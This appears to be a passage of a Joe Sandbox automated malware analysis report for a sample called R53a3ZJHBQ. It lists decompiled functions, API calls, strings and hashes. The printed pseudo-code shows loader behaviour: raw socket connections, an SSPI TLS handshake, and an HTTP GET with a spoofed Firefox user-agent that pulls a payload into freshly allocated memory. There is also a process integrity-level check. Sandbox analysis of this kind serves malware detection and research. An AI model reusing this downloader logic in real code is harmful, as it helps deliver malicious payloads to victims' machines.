Opcode Fuzzy Hash: 72b6f076eff4ad836ab90b86e0571a7bc0f697c1a415112771fc71cb5d1326b9
Instruction Fuzzy Hash: 9031617590021969EB31AB61CC4AFEA777CEF04344F4440FBB549F51C1EBB89A958F28

Uniqueness

Uniqueness Score: -1.00%

Function 033F4CA5 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 333networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,8004667E,00000001), ref: 033F4E6A
connect.WS2_32(?,00000002,00000010), ref: 033F4E86
connect.WS2_32(?,00000017,0000001C), ref: 033F4E96
select.WS2_32(00000000,00000000,?,00000000,?), ref: 033F4EC1
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 033F4EE4
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 033F4F27
select.WS2_32(00000000,?,00000000,00000000,?), ref: 033F4FDF

Strings

`, xrefs: 033F4EF3

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctl
String ID: `
API String ID: 2054606664-1850852036
Opcode ID: a68dd31fcbed5a0bfbdc30054e2f5cedf3212cdc225711ae9810a03306d0d2f4
Instruction ID: 6bf4339a0201e6c8549ee4d0376a9d4bc9908a4b9b5d9d01f5b2debb89994624
Opcode Fuzzy Hash: a68dd31fcbed5a0bfbdc30054e2f5cedf3212cdc225711ae9810a03306d0d2f4
Instruction Fuzzy Hash: F5D12975900309BEEB11EBE0CD81FEEBBBCAF09700F844459F755AA190D771AA48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402DA2 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 207
memorynetworkCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00402DA2(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v12;
				char _v16;
				char _v20;
				void* _v24;
				char _v48;
				char _v56;
				char _v60;
				char _v64;
				long _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				char _v116;
				char _v1140;
				char _v1144;
				long _v1148;
				void* _t85;
				void* _t99;
				char* _t119;
				void* _t129;
				long _t136;
				signed int _t138;
				char _t139;
				intOrPtr* _t140;
				void* _t141;

				_t138 = __edx;
				E00406502( &_v1148,  &_v16 - _t141);
				E0040491C(_a16);
				L00406D4E();
				E0040668B(_a4,  &_v1140);
				_t85 = E004011B8(_t138,  &_v1140, _a8,  &_v12,  &_v20,  &_v100,  &_v24,  &_v48,  &_v56,  &_v60);
				_t144 = _t85;
				if(_t85 == 0) {
					L8:
					E00406347( &_v56,  &_v56, 0, 2);
					E00406306( &_v48,  &_v48, 0, 6);
					__eflags = _v24;
					if(_v24 != 0) {
						_push(0);
						_push(_v24);
						 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					}
					E004062A4( &_v12,  &_v20,  *L00406CE8);
					E0040491C( &_v64);
					__eflags = _v1148;
					if(_v1148 == 0) {
						L18:
						E0040647B( &_v1144, _a16, 4);
						return _v1148;
					} else {
						_t140 = _v1144;
						_t136 = _v1148;
						while(1) {
							__eflags = _t136 - 4;
							if(_t136 < 4) {
								goto L18;
							}
							__eflags =  *_t140 - 0xa0d0a0d;
							if( *_t140 != 0xa0d0a0d) {
								L16:
								_t140 = _t140 + 1;
								_t136 = _t136 - 1;
								__eflags = _t136;
								continue;
							}
							_t136 = _t136 - 4;
							_t140 = _t140 + 4;
							__eflags = _t136;
							if(_t136 <= 0) {
								goto L16;
							}
							_v1148 = _t136;
							_t99 = VirtualAlloc(0, _v1148, 0x3000, 4);
							__eflags = _t99;
							if(_t99 != 0) {
								_t139 = _t99;
								E0040647B(_t140, _t139, _v1148);
								E0040491C( &_v1144);
								_v1144 = _t139;
							}
							goto L18;
						}
						goto L18;
					}
				}
				_v72 = 2;
				_v68 = 4;
				_v112 = 1;
				_v108 = 0x2710;
				_v104 = 0x2710;
				_push(0);
				_push(0);
				_push( &_v116);
				_push(0);
				_push(0);
				_push(0xc);
				_push( &_v112);
				_push(0x98000004);
				_push(_v100);
				L00406CFA();
				E004041D5(_t144, _v100,  &_v12, 0,  &_v1140, wsprintfA( &_v1140, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), _v24,  &_v48,  &_v56, 2,  &_v72, _v60);
				while(1) {
					E004064C8(_v100, 0,  &_v96, 0xa, 0);
					_push( &_v84);
					_push(0);
					_push(0);
					_t119 =  &_v96;
					_push(_t119);
					_push(0);
					L00406CD0();
					if(_t119 <= 0) {
						goto L8;
					}
					if(_t119 == 0) {
						L7:
						continue;
					}
					_t129 = E00404303(_v100,  &_v12,  &_v64, _v24,  &_v48,  &_v56,  &_v68,  &_v72,  &_v76, _v60, 0);
					if(_t129 == 0) {
						goto L8;
					}
					if(_t129 < 0) {
						continue;
					}
					_v1148 = _v1148 + _t129;
					E0040487D( &_v1144, _v1148, _v64, _t129);
					E0040491C( &_v64);
					goto L7;
				}
				goto L8;
			}

0x00402da2
0x00402db9
0x00402dc1
0x00402dc6
0x00402dd5
0x00402e00
0x00402e05
0x00402e07
0x00402f21
0x00402f29
0x00402f36
0x00402f3b
0x00402f3f
0x00402f41
0x00402f43
0x00402f5b
0x00402f5b
0x00402f6b
0x00402f74
0x00402f79
0x00402f80
0x00402feb
0x00402ff7
0x00403006
0x00402f82
0x00402f82
0x00402f88
0x00402fe6
0x00402fe6
0x00402fe9
0x00000000
0x00000000
0x00402f90
0x00402f96
0x00402fe4
0x00402fe4
0x00402fe5
0x00402fe5
0x00000000
0x00402fe5
0x00402f98
0x00402f9b
0x00402f9e
0x00402fa1
0x00000000
0x00000000
0x00402fa3
0x00402fbd
0x00402fbd
0x00402fbf
0x00402fc1
0x00402fcb
0x00402fd7
0x00402fdc
0x00402fdc
0x00000000
0x00402fbf
0x00000000
0x00402fe6
0x00402f80
0x00402e0d
0x00402e14
0x00402e1b
0x00402e22
0x00402e29
0x00402e30
0x00402e32
0x00402e37
0x00402e38
0x00402e3a
0x00402e3c
0x00402e41
0x00402e42
0x00402e47
0x00402e4a
0x00402e8e
0x00402e93
0x00402ea0
0x00402ea8
0x00402ea9
0x00402eab
0x00402ead
0x00402eb0
0x00402eb1
0x00402eb3
0x00402ebb
0x00000000
0x00000000
0x00402ebf
0x00402f1c
0x00000000
0x00402f1c
0x00402eed
0x00402eef
0x00000000
0x00000000
0x00402ef4
0x00000000
0x00000000
0x00402efc
0x00402f0e
0x00402f17
0x00000000
0x00402f17
0x00000000

APIs

Part of subcall function 0040491C: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405632,?,?,?,?,?,?,00000000,00000006), ref: 00404933

InitSecurityInterfaceA.SECUR32(?,?,?,?,?,?), ref: 00402DC6

Part of subcall function 004011B8: CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider,0000000D,F0000000,?,?,?,?,?), ref: 004011E6

WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00402E4A
wsprintfA.USER32 ref: 00402E75

Part of subcall function 004041D5: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,00000003), ref: 004041FC
Part of subcall function 004041D5: SetEvent.KERNEL32(?,?,?,00000202,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004042F7

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,?,00000000), ref: 00402EB3
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,00000000,00000006,?,00000000,00000002,?,?,?), ref: 00402FB8

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402E69
BCryptCloseAlgorithmProvider, xrefs: 00402F50
bcrypt.dll, xrefs: 00402F46

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Virtual$AcquireAllocContextCryptEventFreeInitInterfaceIoctlObjectSecuritySingleWaitselectwsprintf
String ID: BCryptCloseAlgorithmProvider$GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close$bcrypt.dll
API String ID: 2317253078-3296554225
Opcode ID: 7f914bb8896b67500b1341cc620e7ba2768e4b82607191aa404ac05a9d7cf99b
Instruction ID: 99524a05939eedbaec80d0c054e8b1a5713ec0e373dcf6027bdb161b065395c1
Opcode Fuzzy Hash: 7f914bb8896b67500b1341cc620e7ba2768e4b82607191aa404ac05a9d7cf99b
Instruction Fuzzy Hash: BC711CB294021DBAEF11DAE0CD45FEEB77CEB04304F10007AB649F60D1DB79AA549B68

Uniqueness

Uniqueness Score: -1.00%

Function 004027B5 Relevance: 13.6, APIs: 9, Instructions: 103
networkCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E004027B5(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v28;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v300;
				char _v304;
				char _v308;
				char _t34;
				char* _t44;
				short _t46;
				char* _t52;
				void* _t57;
				void* _t58;

				_t58 = __eflags;
				_t34 = E00406502( &_v308,  &_v16 - _t57);
				_push(6);
				_push(1);
				_push(2);
				L00406CE8();
				_v8 = _t34;
				E0040647B( &_v8, _a4, 4);
				_v304 = 1;
				_push(4);
				_push( &_v304);
				_push(1);
				_push(6);
				_push(_v8);
				L00406CDC();
				E00406519(_a8, 0xffffffff,  &_v300);
				if(E00406414(_t58,  &_v300) == 0) {
					_t44 = E00406388(__eflags,  &_v300, 2);
					_push(_t44);
					L00406CBE();
				} else {
					_t44 =  &_v300;
				}
				_push(_t44);
				L00406CB8();
				if(_t44 != 0) {
					_v40 = _t44;
					_t46 = _a12;
					if(_t46 > 0x10000) {
						_t46 = E00406493(_t46);
					}
					_push(_t46);
					L00406CB2();
					_v42 = _t46;
					_v44 = 2;
					_v304 = 1;
					_push( &_v304);
					_push(0x8004667e);
					_push(_v8);
					L00406CC4();
					_push(0x10);
					_push( &_v44);
					_push(_v8);
					L00406CAC();
					E004064C8(_v8, 0,  &_v28, _a16, 0);
					_push( &_v16);
					_push(0);
					_t52 =  &_v28;
					_push(_t52);
					_push(0);
					_push(0);
					L00406CD0();
					if(_t52 == 1) {
						_v304 = 0;
						_push( &_v304);
						_push(0x8004667e);
						_push(_v8);
						L00406CC4();
						_v308 = 1;
					}
				}
				return _v308;
			}

0x004027b5
0x004027cc
0x004027d1
0x004027d3
0x004027d5
0x004027d7
0x004027dc
0x004027e8
0x004027ed
0x004027f7
0x004027ff
0x00402800
0x00402802
0x00402804
0x00402807
0x00402818
0x0040282b
0x0040283e
0x00402843
0x00402844
0x0040282d
0x0040282d
0x0040282d
0x00402849
0x0040284a
0x00402851
0x00402857
0x0040285a
0x00402862
0x00402865
0x00402865
0x0040286a
0x0040286b
0x00402870
0x00402874
0x0040287a
0x0040288a
0x0040288b
0x00402890
0x00402893
0x00402898
0x0040289d
0x0040289e
0x004028a1
0x004028b4
0x004028bc
0x004028bd
0x004028bf
0x004028c2
0x004028c3
0x004028c5
0x004028c7
0x004028cf
0x004028d1
0x004028e1
0x004028e2
0x004028e7
0x004028ea
0x004028ef
0x004028ef
0x004028cf
0x00402903

APIs

socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027D7
setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402807
inet_ntoa.WSOCK32(00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004,00000002), ref: 00402844
inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 0040284A
htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040286B
ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402893
connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A1
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028C7
ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028EA

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrinet_ntoaselectsetsockoptsocket
String ID:
API String ID: 983927830-0
Opcode ID: 2f8291a813e3f8a24b47dfe9a155fd733751f0f9964c8535f8759b30e66fb688
Instruction ID: 877b18a6c1148ed847cda6b81a5b7927925628276a9f533f4916059c812bcac7
Opcode Fuzzy Hash: 2f8291a813e3f8a24b47dfe9a155fd733751f0f9964c8535f8759b30e66fb688
Instruction Fuzzy Hash: FA313C7190021CBAEF10EBA1CD46FDE777CEB08318F00447AF645B61D1D7B99A649B68

Uniqueness

Uniqueness Score: -1.00%

Function 00403009 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 213
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00403009(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v12;
				char _v16;
				long _v60;
				char _v64;
				intOrPtr _v108;
				void** _v112;
				intOrPtr _v116;
				void* _v120;
				void* _v124;
				intOrPtr _v128;
				void* _v132;
				char* _v136;
				intOrPtr _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				char _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				void* _v176;
				void* _v180;
				void* _v188;
				long* _t102;
				void* _t113;
				void* _t117;
				void** _t131;
				void* _t146;

				E00406502( &_v188,  &_v16 - _t146);
				E00406502(_a12, 8);
				E00406502(_a16, 8);
				_v60 = 4;
				_v12 = 0x18;
				_push(0);
				_push(_a16);
				_push(0);
				_push(0);
				_t102 =  &_v60;
				_push(_t102);
				_push(0);
				_push(2);
				_push("Microsoft Unified Security Protocol Provider");
				_push(0);
				L00406D1E();
				_t148 = _t102;
				if(_t102 != 0 || E004027B5(__edx, _t148,  &_v64, _a4, _a8, 0xa) == 0) {
					L28:
					__eflags = 0;
					return 0;
				} else {
					E0040647B( &_v64, _a20, 4);
					_v108 = 0xc11c;
					_v132 = 0;
					_v128 = 2;
					_v124 = 0;
					_v120 = 0;
					_v116 = 1;
					_v112 =  &_v132;
					_push(0);
					_push( &_v172);
					_push( &_v120);
					_push(_a12);
					_push(0);
					_push(0);
					_push(0x10);
					_push(0);
					_push(_v108);
					_push(_a4);
					_push(0);
					_push(_a16);
					L00406D54();
					if(_v132 == 0 || _v124 == 0) {
						goto L28;
					} else {
						E0040612A(_v64, _v124, _v132, 0);
						_push(_v124);
						L00406D36();
						_t113 = VirtualAlloc(0, 0x8000, 0x3000, 4);
						if(_t113 == 0) {
							goto L28;
						}
						_v176 = _t113;
						_v188 = 0x90312;
						_v180 = 0;
						while(_v188 == 0x90312 || _v188 == 0x80090318 || _v188 == 0x90320) {
							__eflags = _v180;
							if(__eflags == 0) {
								L8:
								_t117 = E004061FD(__eflags, _v64, _v176 + _v180, 0x8000 - _v180, 0xa);
								__eflags = _t117;
								if(_t117 == 0) {
									break;
								}
								__eflags = _t117;
								if(_t117 < 0) {
									break;
								}
								_t43 =  &_v180;
								 *_t43 = _v180 + _t117;
								__eflags =  *_t43;
								L11:
								_v132 = 0;
								_v128 = 2;
								_v124 = 0;
								_v120 = 0;
								_v116 = 1;
								_v112 =  &_v132;
								E0040647B( &_v180,  &_v168, 4);
								_v164 = 2;
								E0040647B( &_v176,  &_v160, 4);
								_v156 = 0;
								_v152 = 0;
								_v148 = 0;
								_v144 = 0;
								_v140 = 2;
								_v136 =  &_v168;
								_push(0);
								_push( &_v172);
								_push( &_v120);
								_push(0);
								_push(0);
								_t131 =  &_v144;
								_push(_t131);
								_push(0x10);
								_push(0);
								_push(_v108);
								_push(0);
								_push(_a12);
								_push(_a16);
								L00406D54();
								_v188 = _t131;
								__eflags = _v188 - 0x80090318;
								if(_v188 == 0x80090318) {
									continue;
								}
								__eflags = _v188;
								if(_v188 < 0) {
									break;
								}
								__eflags = _v188;
								if(_v188 == 0) {
									L17:
									E0040612A(_v64, _v124, _v132, 0);
									_push(_v124);
									L00406D36();
									L18:
									__eflags = _v188 - 0x90320;
									if(_v188 != 0x90320) {
										__eflags = _v152 - 5;
										if(_v152 != 5) {
											_v180 = 0;
										} else {
											E0040647B( &_v156,  &_v180, 4);
											E0040647B(_v176 + _v180 - _v156, _v176, _v156);
											_v188 = 0x90312;
										}
										continue;
									}
									break;
								}
								__eflags = _v188 - 0x90312;
								if(_v188 != 0x90312) {
									goto L18;
								}
								__eflags = _v132;
								if(_v132 == 0) {
									goto L18;
								}
								__eflags = _v124;
								if(_v124 == 0) {
									goto L18;
								}
								goto L17;
							}
							__eflags = _v188 - 0x80090318;
							if(__eflags != 0) {
								goto L11;
							}
							goto L8;
						}
						E0040491C( &_v176);
						if(_v188 != 0) {
							goto L28;
						}
						return _v64;
					}
				}
			}

0x00403020
0x0040302a
0x00403034
0x00403039
0x00403040
0x00403047
0x00403049
0x0040304c
0x0040304e
0x00403050
0x00403053
0x00403054
0x00403056
0x00403058
0x0040305d
0x0040305f
0x00403064
0x00403066
0x00403378
0x00403378
0x00000000
0x00403085
0x0040308e
0x00403093
0x0040309a
0x004030a1
0x004030a8
0x004030af
0x004030b6
0x004030c0
0x004030c3
0x004030cb
0x004030cf
0x004030d0
0x004030d3
0x004030d5
0x004030d7
0x004030d9
0x004030db
0x004030de
0x004030e1
0x004030e3
0x004030e6
0x004030ef
0x00000000
0x004030ff
0x0040310a
0x0040310f
0x00403112
0x00403125
0x0040312c
0x00000000
0x00000000
0x00403132
0x00403138
0x00403142
0x0040332e
0x00403151
0x00403158
0x00403166
0x00403189
0x00403189
0x0040318b
0x00000000
0x00000000
0x00403191
0x00403194
0x00000000
0x00000000
0x0040319a
0x0040319a
0x0040319a
0x004031a0
0x004031a0
0x004031a7
0x004031ae
0x004031b5
0x004031bc
0x004031c6
0x004031d9
0x004031de
0x004031f8
0x004031fd
0x00403207
0x00403211
0x0040321b
0x00403225
0x00403235
0x0040323b
0x00403243
0x00403247
0x00403248
0x0040324a
0x0040324c
0x00403252
0x00403253
0x00403255
0x00403257
0x0040325a
0x0040325c
0x0040325f
0x00403262
0x00403267
0x0040326d
0x00403277
0x00000000
0x00000000
0x0040327d
0x00403284
0x00000000
0x00000000
0x0040328a
0x00403291
0x004032ab
0x004032b6
0x004032bb
0x004032be
0x004032c3
0x004032c3
0x004032cd
0x004032d4
0x004032db
0x00403324
0x004032dd
0x004032f3
0x00403313
0x00403318
0x00403318
0x00000000
0x004032db
0x00000000
0x004032cf
0x00403293
0x0040329d
0x00000000
0x00000000
0x0040329f
0x004032a3
0x00000000
0x00000000
0x004032a5
0x004032a9
0x00000000
0x00000000
0x00000000
0x004032a9
0x0040315a
0x00403164
0x00000000
0x00000000
0x00000000
0x00403164
0x00403365
0x00403371
0x00000000
0x00000000
0x00000000
0x00403373
0x004030ef

APIs

AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,?), ref: 0040305F

Part of subcall function 004027B5: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027D7
Part of subcall function 004027B5: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 00402807
Part of subcall function 004027B5: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 0040284A
Part of subcall function 004027B5: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 0040286B
Part of subcall function 004027B5: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402893
Part of subcall function 004027B5: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A1
Part of subcall function 004027B5: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028C7
Part of subcall function 004027B5: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028EA

InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 004030E6

Part of subcall function 0040612A: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00406145
Part of subcall function 0040612A: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 004061A2

FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 00403112
VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 00403125
InitializeSecurityContextA.SECUR32(?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?,00000000,?,?,00000004,?), ref: 00403262
FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000010,?,00000000,00000000,?,?), ref: 004032BE

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00403058

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Context$BufferFreeInitializeSecurityioctlsocket$AcquireAllocCredentialsEventHandleObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocket
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1399349435-238809041
Opcode ID: ce7d43b6b81ebd016aaf8fe63d4a9324af2389569c5a82268e2102397f5e67e0
Instruction ID: 1ca6a6a69773422affc474d6a92c02bb26efb8b54c9f4f60a080aee1c2c9c449
Opcode Fuzzy Hash: ce7d43b6b81ebd016aaf8fe63d4a9324af2389569c5a82268e2102397f5e67e0
Instruction Fuzzy Hash: EB911F71904318AEEF70DF51CC85FDEBA79BB04305F1040AAE609B61E1CB795A98DF16

Uniqueness

Uniqueness Score: -1.00%

Function 033F2A05 Relevance: 9.1, APIs: 6, Instructions: 103networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 033F2A9A
htons.WS2_32(00000000), ref: 033F2ABB
ioctlsocket.WS2_32(?,8004667E,?), ref: 033F2AE3
connect.WS2_32(?,?,00000010), ref: 033F2AF1
select.WS2_32(00000000,00000000,?,00000000,?), ref: 033F2B17
ioctlsocket.WS2_32(?,8004667E,?), ref: 033F2B3A

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ioctlsocket$connecthtonsinet_addrselect
String ID:
API String ID: 2081129316-0
Opcode ID: 2f8291a813e3f8a24b47dfe9a155fd733751f0f9964c8535f8759b30e66fb688
Instruction ID: 12f423a64ad5088892a6d510025837c1ab1df3179e8fb595cabea4e97f82f2da
Opcode Fuzzy Hash: 2f8291a813e3f8a24b47dfe9a155fd733751f0f9964c8535f8759b30e66fb688
Instruction Fuzzy Hash: 4431E675D00319BEDF20EBA0CD82FDEB6BDAB08314F9005A5F704EA090DBB19A548B64

Uniqueness

Uniqueness Score: -1.00%

Function 033F6261 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62BD
LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62C7
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 033F62DE
GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 033F62EE
LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F6306
CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 033F630E

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAuthorityCloseHandleInformationToken
String ID:
API String ID: 1586583212-0
Opcode ID: a84f11b9a0c533d77ffc79ee0290248109a0df7b71e80b526f53eb96ce76c91f
Instruction ID: c585950d6a44fbd7de002f61d1b631a3e0beb2a3e5f2fd3edbadbfa647eeeb9e
Opcode Fuzzy Hash: a84f11b9a0c533d77ffc79ee0290248109a0df7b71e80b526f53eb96ce76c91f
Instruction Fuzzy Hash: 13110A76D00219BEDF11EBE0CE82FEFBB79AF54708F544565A310B90B0DBB18A149B60

Uniqueness

Uniqueness Score: -1.00%

Function 033F58B2 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241timeCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 033F58E6

Part of subcall function 033F6261: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62BD
Part of subcall function 033F6261: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62C7
Part of subcall function 033F6261: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 033F62DE
Part of subcall function 033F6261: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 033F62EE
Part of subcall function 033F6261: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F6306
Part of subcall function 033F6261: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 033F630E

GetLocalTime.KERNEL32(?,?,00000030,?,033F55ED,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 033F5A7B
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,033F55ED,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 033F5A8E
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,033F55ED,?,00000014,?,00000000,00000001,00000000,00000018), ref: 033F5ABF

Strings

0, xrefs: 033F5AEF

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Time$Local$FileFreeSystem$AllocAuthorityCloseHandleInformationInitializeToken
String ID: 0
API String ID: 1744783010-4108050209
Opcode ID: eb91352da624c4d0f45a6e8771753fbd079d12a90555e7602fb643d58faef97d
Instruction ID: d75a9bcbcfd1c2a2a584b4d90247f7a84aaec8341f9e7df56a3bdf42afdb070e
Opcode Fuzzy Hash: eb91352da624c4d0f45a6e8771753fbd079d12a90555e7602fb643d58faef97d
Instruction Fuzzy Hash: 55A1D7B9900218AFDB10DB94CC85FDAB3BCAF48304F5041E6E709EB251DA75AE89CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004068D4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004068D4(CHAR* _a4, void* _a8, long _a12, long _a16, long _a20) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
